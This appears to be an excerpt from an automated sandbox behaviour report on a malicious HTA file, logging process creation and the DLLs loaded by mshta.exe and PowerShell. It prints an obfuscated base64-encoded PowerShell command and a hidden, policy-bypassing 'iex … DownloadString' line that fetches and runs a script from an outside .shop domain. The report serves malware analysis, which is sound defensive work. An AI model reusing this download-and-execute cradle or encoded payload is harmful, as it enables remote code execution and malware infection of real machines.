Source: C:\Windows\SysWOW64\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\new-riii-1-b.pub.hta"
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc JABPAGUAQQA2AFoARwA5ADcAWgBEAGIANwBSAGgAaQBsAG0ARgA0ADkAWgBWADIAQgBuAG4AdQBDAHYAYgA2AFgAOQByAFcAZAAxAEIANgBFAGIANwBtADkAeAA5AHkAbwB2AFQAZABzAGsANwB4AFUASwBOAGwATQAwAEkAWABPAE8ANQBZAGYAVABUAHMAZgBOAEMAQgBCADEAVQBGAFQAdgBaADgAZAB4AGsAUgBDAGsAMgBCAGcAYgBGAHEAVwBKAEYAZwBkADUAaQBaADMAVgBQAFYANQB2AEMAMgBEADYAWgA3ADIANgBlAHQAMwBMADMAaABEAEIAdQBUAFIARQB4AGYAOQAwAGYAZgBiAFcAcgBSADUAVQA4AFYAVQBUAFUAaABpAFcAUABZAGUAeQBSADgAcQB6AHQAUwA0AFIAUQBHAEoARABXADIAcwBMAGkAcQB2AGcAbABTAEcAcQBJADEANQB2AE4ASwBWAEMAWAB5AFEAZgBTAHYAcQBPAG4AYQAwAEQAVgBrAGIAYQAzAEIAcQBUADIASABzADkAMABLAE8AdQAzAFgANABHAEMANgBSAHoAYgB1AFcAZgBZAEMAQQBHAFgASABVAFAATQBnAG8AQwBzAFIARgBvAHkAagB1AGYAdwBUAGwAYgB2AG0ANwBDAHcAMwBjAGgAUQBPAG8AcwB1AE0AYQB0AGMANQBDAHcAawBZAGMAZABaAGEAYwBKADcAZwBJAFAAbABXAHQAbwBTAGsAdABEADkANgBlAE0AYwBuAFgAaAB5AFoANQB5AHkARABFAHIAOQBqAFEAagBxAEoAagA4AE4AZQA0AGYAeABHAGkAegBOAHkARgBBAEUAZQBNAFoAVwAwADMAUwBaAFoAZwB2AFEAWQBqAG0AcgB0AFUAVwBMADcAawA3AFkAZABwADQATABsAE4AbwB4ADEAQwA4AFEAYgBmAE8AWQBvAFIAdgBXAHIAeABTAEsAQQBaADMAaQBpAFoAcgBNAHgATABkAGcAeABZAGIAYQBiAEcAMQBqAGsAMgB3AHcAVgBqAEUAYQB5AE4AbABCADQAeQAzAHkAWQAyAGUATwBMAEUARABSAEIASwBXAFUATgBmAGQAbgBsAFIATgAzAEUASAAxAGEAaABiAFcANQBQAEoAeQBYAEwAWgBsAFkAbwBJAHMAZgBGAGcAQwBmAG4AaQA1AGcAawBHADEAOQB2AHEAQwBtAEwARQBpAHUARQBMAGYAbQB4AHMARgBLAG8ANwBMAGkAYwBkAGUAOABBADUANwBWAGoAeQBTAEYAYwBvAGwASgA5AHIAZABOAE8AUABKAGYAVgBNADkAegBvAEEAWQBxAHUAdABaADYAcQBxAEQAWgBXAHIAMgB0AEEAegBuAEoAVQBhAEgAYQBKAGQAVwBaAHkAWQBmAG0AegBKAEoANAA1ADYAWgByAGcAcABzAEQAcwBDAHYASQB3AHMAYwBGAEEAbQA2AFYASABhAFQAaAA3AHUATABaAG8AbgBjAGwAQgBUAFkAbQBSAFEAcABYAFkAbgBEAFUAQwBiAG8AbQBWAFIATABiAHQAUwA5AHcAbgBmAFYASgBRAE4ASQBKAGcAbQBZAEcAcAB5AE8ARgBPAFoANgBmAFAARQBNAEIAUwA5AG8AZwBiAEgASAByAHcAZgBxAFMAUgBIADYATgBiAGEAOABmAEYAawBSAGcARwB5AGUAdgAwAHgAcQAxADEAVQBPAGgAVgA0AGgAUgA2AFgAMQBnADMAOQBrAFMANwBBAFQAWQBEAEgAaABlADMAdABIADYAQgBkAHIAVABDAEgAYwA2AE4AMgBhAGQAawBjAHUAeABoAHQAZQBvAFIAZQA2AGEAZgB6ADUAVQBEAG4AYgBnAE4AUQBLADkAcgBCAEsAMgBlAHUAZgA3AHIAcgBiAFgANQB6AEQAcAByADgAYgBUAEQATgBNAFkAYQBaAHoAcgBHADIAMwA3AHMAbgB6AFoATgBIAE4AVQBzAEgAYgB0AHgAVAB1ADAAagAxAFkASQBmAGIAWgBPAHIAcwA5AGwASgBxAE4AYwB5AFYAeABrAGkAMgBUAEgAVAB4AEIANQBaADcASgBBAE0AdwB5ADkAQgBsADUAUQBjAFcATgBBAGsAegA0AGQAUQBiAHAAdwBlAGgAMwB3AFEAWgBGAFIAMABkAEsARwBvAEoAbgAgAD0AIAAkAGYAQQBMAHMAZQANAAoAJAA1ADAAcwBEADQATgBzADMAbwBNADAAcgBQAEUAMwA0AFcASgBvAEQAQgA1AHQAeABnAEsATgBkADIAcABwAG0AOABVADMAVgBEADYAZwBuAHQAbgB1AFUAYQBCAGgAUgBLAEkAUgA2AEMAWQBNAHQAbQA5AGMAQQBQAFYAeQBlAGwASwBEADIASQBDAEEAZAA2AGQANABFAHMAUQBFAEUANwBBADAAegBpAHcAWQA5AGsAcgAwAFMATgA0AGgAMQB2AHkAeABRAFkAUQBpAEcAMABTAGMATgB3AFEATAByAE4AUQB0AFAAMgBTAEMAcwB2AHQAdwBrAGMARQAxAGkANABQAFIATQByAEcARwBnAGYAeQAxADMAegBVAGYANQBkADMAZgB6AE8AbQBNAE0ATwBLAFoAQgBLAEsAZABhAFMAMABVAFgAOQBWAFgAWABUADMAdABjADAATwBUAEMAUwBKAEoAbAA4AFoAdABYAGkAdgBTAHUAQgA0AFEAMAA0AEMAVwBRAFQAVAA1ADYAQQBqAFIAMgBNAHcAVwBvAFUATgBaAG4AYwBKAEoAbgBZAEkATgA4AEoAUQBPADcASwBoAHEA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://e1.foiloverturnarrival.shop/5c85i3vbf.vdf'))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc JABPAGUAQQA2AFoARwA5ADcAWgBEAGIANwBSAGgAaQBsAG0ARgA0ADkAWgBWADIAQgBuAG4AdQBDAHYAYgA2AFgAOQByAFcAZAAxAEIANgBFAGIANwBtADkAeAA5AHkAbwB2AFQAZABzAGsANwB4AFUASwBOAGwATQAwAEkAWABPAE8ANQBZAGYAVABUAHMAZgBOAEMAQgBCADEAVQBGAFQAdgBaADgAZAB4AGsAUgBDAGsAMgBCAGcAYgBGAHEAVwBKAEYAZwBkADUAaQBaADMAVgBQAFYANQB2AEMAMgBEADYAWgA3ADIANgBlAHQAMwBMADMAaABEAEIAdQBUAFIARQB4AGYAOQAwAGYAZgBiAFcAcgBSADUAVQA4AFYAVQBUAFUAaABpAFcAUABZAGUAeQBSADgAcQB6AHQAUwA0AFIAUQBHAEoARABXADIAcwBMAGkAcQB2AGcAbABTAEcAcQBJADEANQB2AE4ASwBWAEMAWAB5AFEAZgBTAHYAcQBPAG4AYQAwAEQAVgBrAGIAYQAzAEIAcQBUADIASABzADkAMABLAE8AdQAzAFgANABHAEMANgBSAHoAYgB1AFcAZgBZAEMAQQBHAFgASABVAFAATQBnAG8AQwBzAFIARgBvAHkAagB1AGYAdwBUAGwAYgB2AG0ANwBDAHcAMwBjAGgAUQBPAG8AcwB1AE0AYQB0AGMANQBDAHcAawBZAGMAZABaAGEAYwBKADcAZwBJAFAAbABXAHQAbwBTAGsAdABEADkANgBlAE0AYwBuAFgAaAB5AFoANQB5AHkARABFAHIAOQBqAFEAagBxAEoAagA4AE4AZQA0AGYAeABHAGkAegBOAHkARgBBAEUAZQBNAFoAVwAwADMAUwBaAFoAZwB2AFEAWQBqAG0AcgB0AFUAVwBMADcAawA3AFkAZABwADQATABsAE4AbwB4ADEAQwA4AFEAYgBmAE8AWQBvAFIAdgBXAHIAeABTAEsAQQBaADMAaQBpAFoAcgBNAHgATABkAGcAeABZAGIAYQBiAEcAMQBqAGsAMgB3AHcAVgBqAEUAYQB5AE4AbABCADQAeQAzAHkAWQAyAGUATwBMAEUARABSAEIASwBXAFUATgBmAGQAbgBsAFIATgAzAEUASAAxAGEAaABiAFcANQBQAEoAeQBYAEwAWgBsAFkAbwBJAHMAZgBGAGcAQwBmAG4AaQA1AGcAawBHADEAOQB2AHEAQwBtAEwARQBpAHUARQBMAGYAbQB4AHMARgBLAG8ANwBMAGkAYwBkAGUAOABBADUANwBWAGoAeQBTAEYAYwBvAGwASgA5AHIAZABOAE8AUABKAGYAVgBNADkAegBvAEEAWQBxAHUAdABaADYAcQBxAEQAWgBXAHIAMgB0AEEAegBuAEoAVQBhAEgAYQBKAGQAVwBaAHkAWQBmAG0AegBKAEoANAA1ADYAWgByAGcAcABzAEQAcwBDAHYASQB3AHMAYwBGAEEAbQA2AFYASABhAFQAaAA3AHUATABaAG8AbgBjAGwAQgBUAFkAbQBSAFEAcABYAFkAbgBEAFUAQwBiAG8AbQBWAFIATABiAHQAUwA5AHcAbgBmAFYASgBRAE4ASQBKAGcAbQBZAEcAcAB5AE8ARgBPAFoANgBmAFAARQBNAEIAUwA5AG8AZwBiAEgASAByAHcAZgBxAFMAUgBIADYATgBiAGEAOABmAEYAawBSAGcARwB5AGUAdgAwAHgAcQAxADEAVQBPAGgAVgA0AGgAUgA2AFgAMQBnADMAOQBrAFMANwBBAFQAWQBEAEgAaABlADMAdABIADYAQgBkAHIAVABDAEgAYwA2AE4AMgBhAGQAawBjAHUAeABoAHQAZQBvAFIAZQA2AGEAZgB6ADUAVQBEAG4AYgBnAE4AUQBLADkAcgBCAEsAMgBlAHUAZgA3AHIAcgBiAFgANQB6AEQAcAByADgAYgBUAEQATgBNAFkAYQBaAHoAcgBHADIAMwA3AHMAbgB6AFoATgBIAE4AVQBzAEgAYgB0AHgAVAB1ADAAagAxAFkASQBmAGIAWgBPAHIAcwA5AGwASgBxAE4AYwB5AFYAeABrAGkAMgBUAEgAVAB4AEIANQBaADcASgBBAE0AdwB5ADkAQgBsADUAUQBjAFcATgBBAGsAegA0AGQAUQBiAHAAdwBlAGgAMwB3AFEAWgBGAFIAMABkAEsARwBvAEoAbgAgAD0AIAAkAGYAQQBMAHMAZQANAAoAJAA1ADAAcwBEADQATgBzADMAbwBNADAAcgBQAEUAMwA0AFcASgBvAEQAQgA1AHQAeABnAEsATgBkADIAcABwAG0AOABVADMAVgBEADYAZwBuAHQAbgB1AFUAYQBCAGgAUgBLAEkAUgA2AEMAWQBNAHQAbQA5AGMAQQBQAFYAeQBlAGwASwBEADIASQBDAEEAZAA2AGQANABFAHMAUQBFAEUANwBBADAAegBpAHcAWQA5AGsAcgAwAFMATgA0AGgAMQB2AHkAeABRAFkAUQBpAEcAMABTAGMATgB3AFEATAByAE4AUQB0AFAAMgBTAEMAcwB2AHQAdwBrAGMARQAxAGkANABQAFIATQByAEcARwBnAGYAeQAxADMAegBVAGYANQBkADMAZgB6AE8AbQBNAE0ATwBLAFoAQgBLAEsAZABhAFMAMABVAFgAOQBWAFgAWABUADMAdABjADAATwBUAEMAUwBKAEoAbAA4AFoAdABYAGkAdgBTAHUAQgA0AFEAMAA0AEMAVwBRAFQAVAA1ADYAQQBqAFIAMgBNAHcAVwBvAFUATgBaAG4AYwBKAEoAbgBZAEkATgA4AEoAUQBPADcASwBoAHEA Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://e1.foiloverturnarrival.shop/5c85i3vbf.vdf'))" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: mshtml.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: msiso.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: srpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: msimtf.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: jscript9.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dataexchange.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dxcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
